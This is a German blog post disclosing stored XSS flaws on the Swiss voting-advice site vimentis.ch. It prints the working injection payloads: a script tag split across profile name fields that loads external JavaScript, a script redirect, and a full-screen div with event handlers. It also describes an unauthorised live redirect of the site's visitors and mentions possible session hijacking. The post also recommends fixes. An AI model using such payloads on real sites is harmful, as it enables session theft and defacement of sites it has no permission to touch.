Wer am 24 September 2015 zwischen 22:37 und 23:16 Uhr versucht hat, die deutsche Seite von vimentis.ch aufzurufen, wurde auf eine Infoseite der Piratenpartei umgeleitet. Dort steht, das die Seite unsicher sei. Ich erkläre wieso.
Vor einer Woche, am 17. September informierte ich Vimentis über eine XSS Lücke und eine mögliche Angriffsfläche für SQL Injection.
Dies ist möglich, da die Formulareingaben beim eigenen Profil nicht geprüft werden. In der Praxis sah dies in meinem Fall so aus:
Nachdem ich in meinem eigenen Profil eine Weiterleitung auf meine Webseite eingerichtet hatte, informierte ich zudem die Piratenpartei Schweiz über den Vorfall, da ich von dort den Zugang zu Vimentis erhalten habe. Da die Wahlkampf-Plattform nach dem 18. Oktober uninteressant sein würde, kamen wir zum Schluss, dass wir nicht so lange warten sollten, wie ich damals bei Teleboy. Schliesslich verzeichnet die Plattform momentan viele Seitenaufrufe und stellt durch die Einfachheit der Lücke eine grosse Gefahr für die Besucher dar. Von mir wurden die Besucher nur weitergeleitet, theoretisch könnte man auch unbemerkt Nutzerdaten abgreifen oder Schadcode einschleusen.
Vimentis hatte nun seit einer Woche Kenntnis von der Lücke, hat aber nicht reagiert. Mit der Weiterleitung wollten wir nun Besucher und Betreiber auf die Brisanz des Problems aufmerksam machen. Mit der Veröffentlichung eines Blogposts erscheint man auf der Startseite von Vimentis. So richteten wir eine Weiterleitung von Vimentis zur Piratenpartei Schweiz ein.
XSS
Mein Vorame lautete kurzzeitig
"/><script src=
und mein Nachname
"//piratenpartei.ch/v.js">
Die Unterteilung und Auslagerung war Notwendig, da die Anzahl Zeichen begrenzt ist. Dies war jedoch die einzige Hürde. Auf der Webseite wird der Name dann von selber zusammengefügt. Statt einem Namen erscheint plötzlich Code als Bildbeschreibung:
<img src="//www.vimentis.ch/bilder/dialog/placeholder_tn.png" width="100" alt="Profil "/><script src="//piratenpartei.ch/v.js">
Meine Hobbys sind zudem:
<script>window.location = 'https://www.piratenpartei.ch/umleitung-aus-sicherheitsgruenden/'</script>
Hier gibt es absolut keine Hürde.
Am kniffligsten war der Blogpost. Hier wird ein WYSIWYG-Editor verwendet. Ich musste also JavaScript deaktivieren, damit ich direkt Code einfügen konnte. Hier werden ausnahmsweise einige HTML-Tags entfernt. Events und CSS werden jedoch nicht geprüft. Daraus entstand folgendes Snippet:
<div style="position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 9999;" onmouseover="document.location = 'https://www.piratenpartei.ch/umleitung-aus-sicherheitsgruenden/'" onclick="document.location = 'https://www.piratenpartei.ch/umleitung-aus-sicherheitsgruenden/'"></div>
Session hijacking möglich
Da die Cookies der Seite ohne eine http-only flag gesetzt werden, können diese mittels JavaScript ausgelesen werden. Damit wäre es möglich, die Konten eingeloggter Benutzer zu übernehmen.
SQL Injection?
Einige Sonderzeichen führen zu bedrohlich wirkenden Antworten vom SQL-Server. Ob damit auch SQL Injection möglich ist? Bei dem derzeitigen Zustand der Plattform durchaus vorstellbar.
Blitzreaktion
Rund eine halbe Stunde nach dem die Weiterleitung der Startseite eingerichtet war, reagierte Vimentis nun doch. Wir wurden gebeten, die Weiterleitung auf der Startseite zu entfernen. Eine Behebung der Lücken ist aber noch ausstehend!
Vermutlich hätten wir eine andere Wirkung und Reaktion erzielt, wenn wir für die Veröffentlichung eine andere Uhrzeit gewählt hätten.
Wie weiter?
Wie in meinem Artikel bereits empfohlen sollten Nutzer vorläufig auf Smartvote ausweichen. Vimentis sollte die Plattform dringend überarbeiten und auf weitere Schwachstellen prüfen (lassen). Ausserdem sollten die Mitglieder informiert werden, da die Lücke in der Vergangenheit allenfalls ausgenutzt wurde.
Folgende Schwachstellen müssen behoben werden:
- Konsequente Prüfung und Maskierung von Formulareingaben
- Session Cookies können gehijackt werden (keine secure cookie und http-only flag)
- Präventive Massnahmen wie CSP einführen
Ich werde an dieser Stelle über den weiteren Verlauf berichten.
Update: Vimentis arbeitet an der Behebung der Lücken. Eine Kompromittierung der Startseite gemäss obigem Beispiel ist nun nicht mehr möglich.
Fazit
Es ist sehr erschütternd, dass sich viele Unternehmen immer noch nicht um die Sicherheit kümmern. Da hilft es auch nicht, das Vimentis HSTS implementiert hat.
Ob es am fachlichen oder finanziellen scheitert ist nicht ganz klar. Die Piraten sind derzeit jedenfalls die einzigen, die motiviert sind, daran etwas zu ändern.